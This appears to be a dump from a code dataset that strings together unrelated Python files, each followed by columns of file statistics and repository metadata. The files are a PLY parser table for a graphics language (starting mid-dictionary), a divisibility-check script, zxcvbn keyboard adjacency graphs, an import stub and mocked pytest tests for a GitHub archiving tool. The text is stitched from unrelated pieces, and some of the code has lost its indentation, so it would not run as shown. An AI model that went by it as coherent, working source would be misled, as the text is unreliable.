4,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,]),'XYZ':([3,5,8,10,19,23,24,25,59,63,64,],[31,31,31,31,45,31,-39,-40,31,31,31,]),'BEZIER':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[20,-14,-3,-7,20,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'SET_KNOBS':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[13,-14,-3,-7,13,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'CIRCLE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[22,-14,-3,-7,22,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),'SAVE':([0,8,9,12,14,15,16,23,24,25,28,29,30,31,32,35,37,40,48,54,56,59,63,64,70,74,75,80,84,87,91,92,95,99,101,104,111,112,113,114,],[23,-14,-3,-7,23,-8,-10,-11,-39,-40,-38,-5,-37,-35,-36,-4,-13,-16,-12,-15,-9,-34,-32,-30,-33,-31,-29,-18,-6,-20,-21,-22,-17,-19,-23,-24,-28,-26,-27,-25,]),}
_lr_action = { }
for _k, _v in _lr_action_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_action: _lr_action[_x] = { }
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'TEXT':([3,8,23,],[29,37,48,]),'SYMBOL':([3,5,8,10,23,59,63,64,],[30,34,30,38,30,70,74,75,]),'stuff':([0,14,],[21,41,]),'NUMBER':([1,2,4,7,11,13,17,18,20,22,26,27,33,36,38,39,43,44,45,46,47,49,50,51,53,55,57,58,60,61,62,65,66,67,68,69,71,72,73,76,77,78,79,81,82,83,85,86,89,90,93,96,97,98,100,102,103,105,106,107,108,109,110,],[26,27,33,36,39,40,43,44,46,47,49,50,51,53,54,55,57,58,59,60,61,62,63,64,66,67,68,69,71,72,73,76,77,78,79,80,81,82,83,84,85,86,87,89,90,91,92,93,96,97,98,100,101,102,103,105,106,107,108,109,110,111,112,]),'statement':([0,14,],[14,14,]),}
_lr_goto = { }
for _k, _v in _lr_goto_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_goto: _lr_goto[_x] = { }
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [
("S' -> stuff","S'",1,None,None,None),
('stuff -> <empty>','stuff',0,'p_stuff','/home/aidan/graphics16/mdl.py',131),
('stuff -> statement stuff','stuff',2,'p_stuff','/home/aidan/graphics16/mdl.py',132),
('statement -> COMMENT','statement',1,'p_statement_comment','/home/aidan/graphics16/mdl.py',136),
('statement -> FRAMES INT','statement',2,'p_statement_frames','/home/aidan/graphics16/mdl.py',140),
('statement -> BASENAME TEXT','statement',2,'p_statement_basename','/home/aidan/graphics16/mdl.py',144),
('statement -> VARY SYMBOL INT INT NUMBER NUMBER','statement',6,'p_statement_vary','/home/aidan/graphics16/mdl.py',148),
('statement -> POP','statement',1,'p_statement_stack','/home/aidan/graphics16/mdl.py',153),
('statement -> PUSH','statement',1,'p_statement_stack','/home/aidan/graphics16/mdl.py',154),
('statement -> SCREEN INT INT','statement',3,'p_statement_screen','/home/aidan/graphics16/mdl.py',158),
('statement -> SCREEN','statement',1,'p_statement_screen','/home/aidan/graphics16/mdl.py',159),
('statement -> SAVE','statement',1,'p_statement_save','/home/aidan/graphics16/mdl.py',166),
('statement -> SAVE TEXT','statement',2,'p_statement_save','/home/aidan/graphics16/mdl.py',167),
('statement -> DISPLAY TEXT','statement',2,'p_statement_show','/home/aidan/graphics16/mdl.py',174),
('statement -> DISPLAY','statement',1,'p_statement_show','/home/aidan/graphics16/mdl.py',175),
('statement -> SET SYMBOL NUMBER','statement',3,'p_statement_knobs','/home/aidan/graphics16/mdl.py',179),
('statement -> SET_KNOBS NUMBER','statement',2,'p_statement_knobs','/home/aidan/graphics16/mdl.py',180),
('statement -> SPHERE NUMBER NUMBER NUMBER NUMBER INT INT','statement',7,'p_statement_sphere','/home/aidan/graphics16/mdl.py',186),
('statement -> SPHERE NUMBER NUMBER NUMBER NUMBER','statement',5,'p_statement_sphere','/home/aidan/graphics16/mdl.py',187),
('statement -> TORUS NUMBER NUMBER NUMBER NUMBER NUMBER INT INT','statement',8,'p_statement_torus','/home/aidan/graphics16/mdl.py',194),
('statement -> TORUS NUMBER NUMBER NUMBER NUMBER NUMBER','statement',6,'p_statement_torus','/home/aidan/graphics16/mdl.py',195),
('statement -> BOX NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER','statement',7,'p_statement_box','/home/aidan/graphics16/mdl.py',202),
('statement -> LINE NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER','statement',7,'p_statement_line','/home/aidan/graphics16/mdl.py',206),
('statement -> CIRCLE NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER','statement',8,'p_statement_circle','/home/aidan/graphics16/mdl.py',210),
('statement -> CIRCLE NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER INT','statement',9,'p_statement_circle','/home/aidan/graphics16/mdl.py',211),
('statement -> BEZIER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER INT','statement',14,'p_statement_curve','/home/aidan/graphics16/mdl.py',221),
('statement -> BEZIER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER','statement',13,'p_statement_curve','/home/aidan/graphics16/mdl.py',222),
('statement -> HERMITE NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER INT','statement',14,'p_statement_curve','/home/aidan/graphics16/mdl.py',223),
('statement -> HERMITE NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER NUMBER','statement',13,'p_statement_curve','/home/aidan/graphics16/mdl.py',224),
('statement -> MOVE NUMBER NUMBER NUMBER SYMBOL','statement',5,'p_statement_move','/home/aidan/graphics16/mdl.py',231),
('statement -> MOVE NUMBER NUMBER NUMBER','statement',4,'p_statement_move','/home/aidan/graphics16/mdl.py',232),
('statement -> SCALE NUMBER NUMBER NUMBER SYMBOL','statement',5,'p_statement_scale','/home/aidan/graphics16/mdl.py',240),
('statement -> SCALE NUMBER NUMBER NUMBER','statement',4,'p_statement_scale','/home/aidan/graphics16/mdl.py',241),
('statement -> ROTATE XYZ NUMBER SYMBOL','statement',4,'p_statement_rotate','/home/aidan/graphics16/mdl.py',249),
('statement -> ROTATE XYZ NUMBER','statement',3,'p_statement_rotate','/home/aidan/graphics16/mdl.py',250),
('SYMBOL -> XYZ','SYMBOL',1,'p_SYMBOL','/home/aidan/graphics16/mdl.py',258),
('SYMBOL -> ID','SYMBOL',1,'p_SYMBOL','/home/aidan/graphics16/mdl.py',259),
('TEXT -> SYMBOL','TEXT',1,'p_TEXT','/home/aidan/graphics16/mdl.py',263),
('TEXT -> STRING','TEXT',1,'p_TEXT','/home/aidan/graphics16/mdl.py',264),
('NUMBER -> DOUBLE','NUMBER',1,'p_NUMBER','/home/aidan/graphics16/mdl.py',268),
('NUMBER -> INT','NUMBER',1,'p_NUMBER','/home/aidan/graphics16/mdl.py',269),
]
| 190.471429
| 7,515
| 0.627991
| 3,056
| 13,333
| 2.695026
| 0.077225
| 0.129675
| 0.157358
| 0.163186
| 0.814959
| 0.772098
| 0.756071
| 0.723409
| 0.613283
| 0.571272
| 0
| 0.364421
| 0.034951
| 13,333
| 69
| 7,516
| 193.231884
| 0.275666
| 0.00465
| 0
| 0.033333
| 1
| 0
| 0.295319
| 0.090902
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
6f9043e4ab96f324b5a97ccc3230deca962f0b26
| 284
|
py
|
Python
|
upto7-12-2020/divisible.py
|
nikhilsamninan/python-files
|
15198459081097058a939b40b5e8ef754e578fe0
|
[
"Apache-2.0"
] | null | null | null |
upto7-12-2020/divisible.py
|
nikhilsamninan/python-files
|
15198459081097058a939b40b5e8ef754e578fe0
|
[
"Apache-2.0"
] | null | null | null |
upto7-12-2020/divisible.py
|
nikhilsamninan/python-files
|
15198459081097058a939b40b5e8ef754e578fe0
|
[
"Apache-2.0"
] | null | null | null |
a=int(input("Enter a Number"))
if (a%2==0):
print(a,"Entered Number is Divisible by 2")
if(a%5==0):
print(a,"Entered Number is Divisible by 5")
else:
print(a,"Entered Number is Not Divisible by 5")
else:
print(a,"Entered Number is Not Divisible by 2")
| 28.4
| 55
| 0.623239
| 50
| 284
| 3.54
| 0.32
| 0.135593
| 0.293785
| 0.429379
| 0.824859
| 0.824859
| 0.824859
| 0.824859
| 0.514124
| 0.514124
| 0
| 0.036697
| 0.232394
| 284
| 9
| 56
| 31.555556
| 0.775229
| 0
| 0
| 0.222222
| 0
| 0
| 0.528169
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.444444
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
6fd08d29cf42df0b7211970af68ab4a57c920965
| 9,800
|
py
|
Python
|
zxcvbn/adjacency_graphs.py
|
edisonmndza/CPSC530
|
c311403d29f039babbd29f1472694192e98e0625
|
[
"MIT"
] | 565
|
2016-12-14T11:20:36.000Z
|
2022-03-29T13:55:00.000Z
|
zxcvbn/adjacency_graphs.py
|
edisonmndza/CPSC530
|
c311403d29f039babbd29f1472694192e98e0625
|
[
"MIT"
] | 53
|
2016-12-29T12:53:44.000Z
|
2022-03-14T07:46:25.000Z
|
zxcvbn/adjacency_graphs.py
|
edisonmndza/CPSC530
|
c311403d29f039babbd29f1472694192e98e0625
|
[
"MIT"
] | 70
|
2016-12-29T13:13:13.000Z
|
2022-03-17T21:54:42.000Z
|
# generated by scripts/build_keyboard_adjacency_graphs.py
ADJACENCY_GRAPHS = {
"qwerty": {"!": ["`~", None, None, "2@", "qQ", None], "\"": [";:", "[{", "]}", None, None, "/?"], "#": ["2@", None, None, "4$", "eE", "wW"], "$": ["3#", None, None, "5%", "rR", "eE"], "%": ["4$", None, None, "6^", "tT", "rR"], "&": ["6^", None, None, "8*", "uU", "yY"], "'": [";:", "[{", "]}", None, None, "/?"], "(": ["8*", None, None, "0)", "oO", "iI"], ")": ["9(", None, None, "-_", "pP", "oO"], "*": ["7&", None, None, "9(", "iI", "uU"], "+": ["-_", None, None, None, "]}", "[{"], ",": ["mM", "kK", "lL", ".>", None, None], "-": ["0)", None, None, "=+", "[{", "pP"], ".": [",<", "lL", ";:", "/?", None, None], "/": [".>", ";:", "'\"", None, None, None], "0": ["9(", None, None, "-_", "pP", "oO"], "1": ["`~", None, None, "2@", "qQ", None], "2": ["1!", None, None, "3#", "wW", "qQ"], "3": ["2@", None, None, "4$", "eE", "wW"], "4": ["3#", None, None, "5%", "rR", "eE"], "5": ["4$", None, None, "6^", "tT", "rR"], "6": ["5%", None, None, "7&", "yY", "tT"], "7": ["6^", None, None, "8*", "uU", "yY"], "8": ["7&", None, None, "9(", "iI", "uU"], "9": ["8*", None, None, "0)", "oO", "iI"], ":": ["lL", "pP", "[{", "'\"", "/?", ".>"], ";": ["lL", "pP", "[{", "'\"", "/?", ".>"], "<": ["mM", "kK", "lL", ".>", None, None], "=": ["-_", None, None, None, "]}", "[{"], ">": [",<", "lL", ";:", "/?", None, None], "?": [".>", ";:", "'\"", None, None, None], "@": ["1!", None, None, "3#", "wW", "qQ"], "A": [None, "qQ", "wW", "sS", "zZ", None], "B": ["vV", "gG", "hH", "nN", None, None], "C": ["xX", "dD", "fF", "vV", None, None], "D": ["sS", "eE", "rR", "fF", "cC", "xX"], "E": ["wW", "3#", "4$", "rR", "dD", "sS"], "F": ["dD", "rR", "tT", "gG", "vV", "cC"], "G": ["fF", "tT", "yY", "hH", "bB", "vV"], "H": ["gG", "yY", "uU", "jJ", "nN", "bB"], "I": ["uU", "8*", "9(", "oO", "kK", "jJ"], "J": ["hH", "uU", "iI", "kK", "mM", "nN"], "K": ["jJ", "iI", "oO", "lL", ",<", "mM"], "L": ["kK", "oO", "pP", ";:", ".>", ",<"], "M": ["nN", "jJ", "kK", ",<", None, None], "N": ["bB", "hH", "jJ", "mM", None, None], "O": ["iI", "9(", "0)", "pP", "lL", "kK"], "P": ["oO", "0)", "-_", "[{", ";:", "lL"], "Q": [None, "1!", "2@", "wW", "aA", None], "R": ["eE", "4$", "5%", "tT", "fF", "dD"], "S": ["aA", "wW", "eE", "dD", "xX", "zZ"], "T": ["rR", "5%", "6^", "yY", "gG", "fF"], "U": ["yY", "7&", "8*", "iI", "jJ", "hH"], "V": ["cC", "fF", "gG", "bB", None, None], "W": ["qQ", "2@", "3#", "eE", "sS", "aA"], "X": ["zZ", "sS", "dD", "cC", None, None], "Y": ["tT", "6^", "7&", "uU", "hH", "gG"], "Z": [None, "aA", "sS", "xX", None, None], "[": ["pP", "-_", "=+", "]}", "'\"", ";:"], "\\": ["]}", None, None, None, None, None], "]": ["[{", "=+", None, "\\|", None, "'\""], "^": ["5%", None, None, "7&", "yY", "tT"], "_": ["0)", None, None, "=+", "[{", "pP"], "`": [None, None, None, "1!", None, None], "a": [None, "qQ", "wW", "sS", "zZ", None], "b": ["vV", "gG", "hH", "nN", None, None], "c": ["xX", "dD", "fF", "vV", None, None], "d": ["sS", "eE", "rR", "fF", "cC", "xX"], "e": ["wW", "3#", "4$", "rR", "dD", "sS"], "f": ["dD", "rR", "tT", "gG", "vV", "cC"], "g": ["fF", "tT", "yY", "hH", "bB", "vV"], "h": ["gG", "yY", "uU", "jJ", "nN", "bB"], "i": ["uU", "8*", "9(", "oO", "kK", "jJ"], "j": ["hH", "uU", "iI", "kK", "mM", "nN"], "k": ["jJ", "iI", "oO", "lL", ",<", "mM"], "l": ["kK", "oO", "pP", ";:", ".>", ",<"], "m": ["nN", "jJ", "kK", ",<", None, None], "n": ["bB", "hH", "jJ", "mM", None, None], "o": ["iI", "9(", "0)", "pP", "lL", "kK"], "p": ["oO", "0)", "-_", "[{", ";:", "lL"], "q": [None, "1!", "2@", "wW", "aA", None], "r": ["eE", "4$", "5%", "tT", "fF", "dD"], "s": ["aA", "wW", "eE", "dD", "xX", "zZ"], "t": ["rR", "5%", "6^", "yY", "gG", "fF"], "u": ["yY", "7&", "8*", "iI", "jJ", "hH"], "v": ["cC", "fF", "gG", "bB", None, None], "w": ["qQ", "2@", "3#", "eE", "sS", "aA"], "x": ["zZ", "sS", "dD", "cC", None, None], "y": ["tT", "6^", "7&", "uU", "hH", "gG"], "z": [None, "aA", "sS", "xX", None, None], "{": ["pP", "-_", "=+", "]}", "'\"", ";:"], "|": ["]}", None, None, None, None, None], "}": ["[{", "=+", None, "\\|", None, "'\""], "~": [None, None, None, "1!", None, None]},
"dvorak": {"!": ["`~", None, None, "2@", "'\"", None], "\"": [None, "1!", "2@", ",<", "aA", None], "#": ["2@", None, None, "4$", ".>", ",<"], "$": ["3#", None, None, "5%", "pP", ".>"], "%": ["4$", None, None, "6^", "yY", "pP"], "&": ["6^", None, None, "8*", "gG", "fF"], "'": [None, "1!", "2@", ",<", "aA", None], "(": ["8*", None, None, "0)", "rR", "cC"], ")": ["9(", None, None, "[{", "lL", "rR"], "*": ["7&", None, None, "9(", "cC", "gG"], "+": ["/?", "]}", None, "\\|", None, "-_"], ",": ["'\"", "2@", "3#", ".>", "oO", "aA"], "-": ["sS", "/?", "=+", None, None, "zZ"], ".": [",<", "3#", "4$", "pP", "eE", "oO"], "/": ["lL", "[{", "]}", "=+", "-_", "sS"], "0": ["9(", None, None, "[{", "lL", "rR"], "1": ["`~", None, None, "2@", "'\"", None], "2": ["1!", None, None, "3#", ",<", "'\""], "3": ["2@", None, None, "4$", ".>", ",<"], "4": ["3#", None, None, "5%", "pP", ".>"], "5": ["4$", None, None, "6^", "yY", "pP"], "6": ["5%", None, None, "7&", "fF", "yY"], "7": ["6^", None, None, "8*", "gG", "fF"], "8": ["7&", None, None, "9(", "cC", "gG"], "9": ["8*", None, None, "0)", "rR", "cC"], ":": [None, "aA", "oO", "qQ", None, None], ";": [None, "aA", "oO", "qQ", None, None], "<": ["'\"", "2@", "3#", ".>", "oO", "aA"], "=": ["/?", "]}", None, "\\|", None, "-_"], ">": [",<", "3#", "4$", "pP", "eE", "oO"], "?": ["lL", "[{", "]}", "=+", "-_", "sS"], "@": ["1!", None, None, "3#", ",<", "'\""], "A": [None, "'\"", ",<", "oO", ";:", None], "B": ["xX", "dD", "hH", "mM", None, None], "C": ["gG", "8*", "9(", "rR", "tT", "hH"], "D": ["iI", "fF", "gG", "hH", "bB", "xX"], "E": ["oO", ".>", "pP", "uU", "jJ", "qQ"], "F": ["yY", "6^", "7&", "gG", "dD", "iI"], "G": ["fF", "7&", "8*", "cC", "hH", "dD"], "H": ["dD", "gG", "cC", "tT", "mM", "bB"], "I": ["uU", "yY", "fF", "dD", "xX", "kK"], "J": ["qQ", "eE", "uU", "kK", None, None], "K": ["jJ", "uU", "iI", "xX", None, None], "L": ["rR", "0)", "[{", "/?", "sS", "nN"], "M": ["bB", "hH", "tT", "wW", None, None], "N": ["tT", "rR", "lL", "sS", "vV", "wW"], "O": ["aA", ",<", ".>", "eE", "qQ", ";:"], "P": [".>", "4$", "5%", "yY", "uU", "eE"], "Q": [";:", "oO", "eE", "jJ", None, None], "R": ["cC", "9(", "0)", "lL", "nN", "tT"], "S": ["nN", "lL", "/?", "-_", "zZ", "vV"], "T": ["hH", "cC", "rR", "nN", "wW", "mM"], "U": ["eE", "pP", "yY", "iI", "kK", "jJ"], "V": ["wW", "nN", "sS", "zZ", None, None], "W": ["mM", "tT", "nN", "vV", None, None], "X": ["kK", "iI", "dD", "bB", None, None], "Y": ["pP", "5%", "6^", "fF", "iI", "uU"], "Z": ["vV", "sS", "-_", None, None, None], "[": ["0)", None, None, "]}", "/?", "lL"], "\\": ["=+", None, None, None, None, None], "]": ["[{", None, None, None, "=+", "/?"], "^": ["5%", None, None, "7&", "fF", "yY"], "_": ["sS", "/?", "=+", None, None, "zZ"], "`": [None, None, None, "1!", None, None], "a": [None, "'\"", ",<", "oO", ";:", None], "b": ["xX", "dD", "hH", "mM", None, None], "c": ["gG", "8*", "9(", "rR", "tT", "hH"], "d": ["iI", "fF", "gG", "hH", "bB", "xX"], "e": ["oO", ".>", "pP", "uU", "jJ", "qQ"], "f": ["yY", "6^", "7&", "gG", "dD", "iI"], "g": ["fF", "7&", "8*", "cC", "hH", "dD"], "h": ["dD", "gG", "cC", "tT", "mM", "bB"], "i": ["uU", "yY", "fF", "dD", "xX", "kK"], "j": ["qQ", "eE", "uU", "kK", None, None], "k": ["jJ", "uU", "iI", "xX", None, None], "l": ["rR", "0)", "[{", "/?", "sS", "nN"], "m": ["bB", "hH", "tT", "wW", None, None], "n": ["tT", "rR", "lL", "sS", "vV", "wW"], "o": ["aA", ",<", ".>", "eE", "qQ", ";:"], "p": [".>", "4$", "5%", "yY", "uU", "eE"], "q": [";:", "oO", "eE", "jJ", None, None], "r": ["cC", "9(", "0)", "lL", "nN", "tT"], "s": ["nN", "lL", "/?", "-_", "zZ", "vV"], "t": ["hH", "cC", "rR", "nN", "wW", "mM"], "u": ["eE", "pP", "yY", "iI", "kK", "jJ"], "v": ["wW", "nN", "sS", "zZ", None, None], "w": ["mM", "tT", "nN", "vV", None, None], "x": ["kK", "iI", "dD", "bB", None, None], "y": ["pP", "5%", "6^", "fF", "iI", "uU"], "z": ["vV", "sS", "-_", None, None, None], "{": ["0)", None, None, "]}", "/?", "lL"], "|": ["=+", None, None, None, None, None], "}": ["[{", None, None, None, "=+", "/?"], "~": [None, None, None, "1!", None, None]},
"keypad": {"*": ["/", None, None, None, "-", "+", "9", "8"], "+": ["9", "*", "-", None, None, None, None, "6"], "-": ["*", None, None, None, None, None, "+", "9"], ".": ["0", "2", "3", None, None, None, None, None], "/": [None, None, None, None, "*", "9", "8", "7"], "0": [None, "1", "2", "3", ".", None, None, None], "1": [None, None, "4", "5", "2", "0", None, None], "2": ["1", "4", "5", "6", "3", ".", "0", None], "3": ["2", "5", "6", None, None, None, ".", "0"], "4": [None, None, "7", "8", "5", "2", "1", None], "5": ["4", "7", "8", "9", "6", "3", "2", "1"], "6": ["5", "8", "9", "+", None, None, "3", "2"], "7": [None, None, None, "/", "8", "5", "4", None], "8": ["7", None, "/", "*", "9", "6", "5", "4"], "9": ["8", "/", "*", "-", "+", None, "6", "5"]},
"mac_keypad": {"*": ["/", None, None, None, None, None, "-", "9"], "+": ["6", "9", "-", None, None, None, None, "3"], "-": ["9", "/", "*", None, None, None, "+", "6"], ".": ["0", "2", "3", None, None, None, None, None], "/": ["=", None, None, None, "*", "-", "9", "8"], "0": [None, "1", "2", "3", ".", None, None, None], "1": [None, None, "4", "5", "2", "0", None, None], "2": ["1", "4", "5", "6", "3", ".", "0", None], "3": ["2", "5", "6", "+", None, None, ".", "0"], "4": [None, None, "7", "8", "5", "2", "1", None], "5": ["4", "7", "8", "9", "6", "3", "2", "1"], "6": ["5", "8", "9", "-", "+", None, "3", "2"], "7": [None, None, None, "=", "8", "5", "4", None], "8": ["7", None, "=", "/", "9", "6", "5", "4"], "9": ["8", "=", "/", "*", "-", "+", "6", "5"], "=": [None, None, None, None, "/", "9", "8", "7"]}
}
| 1,400
| 4,069
| 0.308776
| 1,328
| 9,800
| 2.261295
| 0.056476
| 0.527473
| 0.303696
| 0.255744
| 0.934399
| 0.857143
| 0.701632
| 0.667
| 0.640027
| 0.640027
| 0
| 0.038273
| 0.16551
| 9,800
| 7
| 4,070
| 1,400
| 0.328931
| 0.005612
| 0
| 0
| 1
| 1
| 0.41954
| 0
| 0.166667
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 13
|
6ff1b31694710a12522aa1102c1f814be8b1882b
| 91
|
py
|
Python
|
mnsim_noc/utils/__init__.py
|
godfather991/MNSIM_NoC
|
402680ad72c46c2a0b040b5fa52232807d554aec
|
[
"MIT"
] | null | null | null |
mnsim_noc/utils/__init__.py
|
godfather991/MNSIM_NoC
|
402680ad72c46c2a0b040b5fa52232807d554aec
|
[
"MIT"
] | 3
|
2021-11-01T15:43:20.000Z
|
2021-11-09T03:49:06.000Z
|
mnsim_noc/utils/__init__.py
|
ILTShade/MNSIM_NoC
|
8fa4580cce0ef113b473dd22662748846ec6b45a
|
[
"MIT"
] | null | null | null |
from mnsim_noc.utils.log import getLogger
from mnsim_noc.utils.registry import RegistryMeta
| 45.5
| 49
| 0.879121
| 14
| 91
| 5.571429
| 0.642857
| 0.230769
| 0.307692
| 0.435897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076923
| 91
| 2
| 49
| 45.5
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
b508a80c74a139862c92b521f36701c33d90cec2
| 13,374
|
py
|
Python
|
test/unit/test_archive.py
|
Bouni/github-archive
|
dba336160c669fe96aaf5519af2c4b9cdc2b7ae9
|
[
"MIT"
] | null | null | null |
test/unit/test_archive.py
|
Bouni/github-archive
|
dba336160c669fe96aaf5519af2c4b9cdc2b7ae9
|
[
"MIT"
] | null | null | null |
test/unit/test_archive.py
|
Bouni/github-archive
|
dba336160c669fe96aaf5519af2c4b9cdc2b7ae9
|
[
"MIT"
] | null | null | null |
import mock
import pytest
import subprocess
from github_archive import GithubArchive
GITHUB_TOKEN = '123'
ORG_NAME = 'my_org'
@mock.patch('github_archive.archive.GITHUB_TOKEN', None)
@mock.patch('github_archive.archive.LOGGER')
def test_initialize_project_no_github_token(mock_logger):
message = 'GITHUB_TOKEN must be present to run github-archive.'
with pytest.raises(ValueError) as error:
GithubArchive.initialize_project()
assert mock_logger.critical.called_with(message)
assert message == str(error.value)
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('os.path.exists', return_value=False)
@mock.patch('os.makedirs')
def test_initialize_project(mock_make_dirs, mock_dir_exist):
GithubArchive.initialize_project()
assert mock_make_dirs.call_count == 2
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_repos')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
@mock.patch('github_archive.archive.LOGGER')
def test_run_user_clone_true(mock_logger, mock_iterate_repos, mock_iterate_gists, mock_get_repos):
GithubArchive.run(
user_clone=True,
user_pull=False,
orgs_clone=False,
orgs_pull=False,
gists_clone=False,
gists_pull=False,
)
mock_get_repos.assert_called_once()
mock_iterate_repos.assert_called_once()
mock_iterate_gists.assert_not_called()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_repos')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
@mock.patch('github_archive.archive.LOGGER')
def test_run_user_pull_true(mock_logger, mock_iterate_repos, mock_iterate_gists, mock_get_repos):
GithubArchive.run(
user_clone=False,
user_pull=True,
orgs_clone=False,
orgs_pull=False,
gists_clone=False,
gists_pull=False,
)
mock_get_repos.assert_called_once()
mock_iterate_repos.assert_called_once()
mock_iterate_gists.assert_not_called()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.ORG_LIST', ORG_NAME)
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_all_org_repos')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.determine_repo_context')
@mock.patch('github_archive.archive.LOGGER')
def test_run_orgs_clone_true(mock_logger, mock_determine_repo_context, mock_iterate_gists, mock_get_all_org_repos):
GithubArchive.run(
user_clone=False,
user_pull=False,
orgs_clone=True,
orgs_pull=False,
gists_clone=False,
gists_pull=False,
)
mock_get_all_org_repos.assert_called_once()
mock_determine_repo_context.assert_called_once()
mock_iterate_gists.assert_not_called()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.ORG_LIST', ORG_NAME)
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_all_org_repos')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.determine_repo_context')
@mock.patch('github_archive.archive.LOGGER')
def test_run_orgs_pull_true(mock_logger, mock_determine_repo_context, mock_iterate_gists, mock_get_all_org_repos):
GithubArchive.run(
user_clone=False,
user_pull=False,
orgs_clone=False,
orgs_pull=True,
gists_clone=False,
gists_pull=False,
)
mock_get_all_org_repos.assert_called_once()
mock_determine_repo_context.assert_called_once()
mock_iterate_gists.assert_not_called()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.ORG_LIST', ORG_NAME)
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_all_org_repos')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
@mock.patch('github_archive.archive.LOGGER')
def test_run_orgs_list_without_flag(mock_logger, mock_iterate_repos, mock_iterate_gists, mock_get_all_org_repos):
GithubArchive.run(
user_clone=False,
user_pull=False,
orgs_clone=False,
orgs_pull=False,
gists_clone=False,
gists_pull=False,
)
mock_get_all_org_repos.assert_not_called()
mock_iterate_repos.assert_not_called()
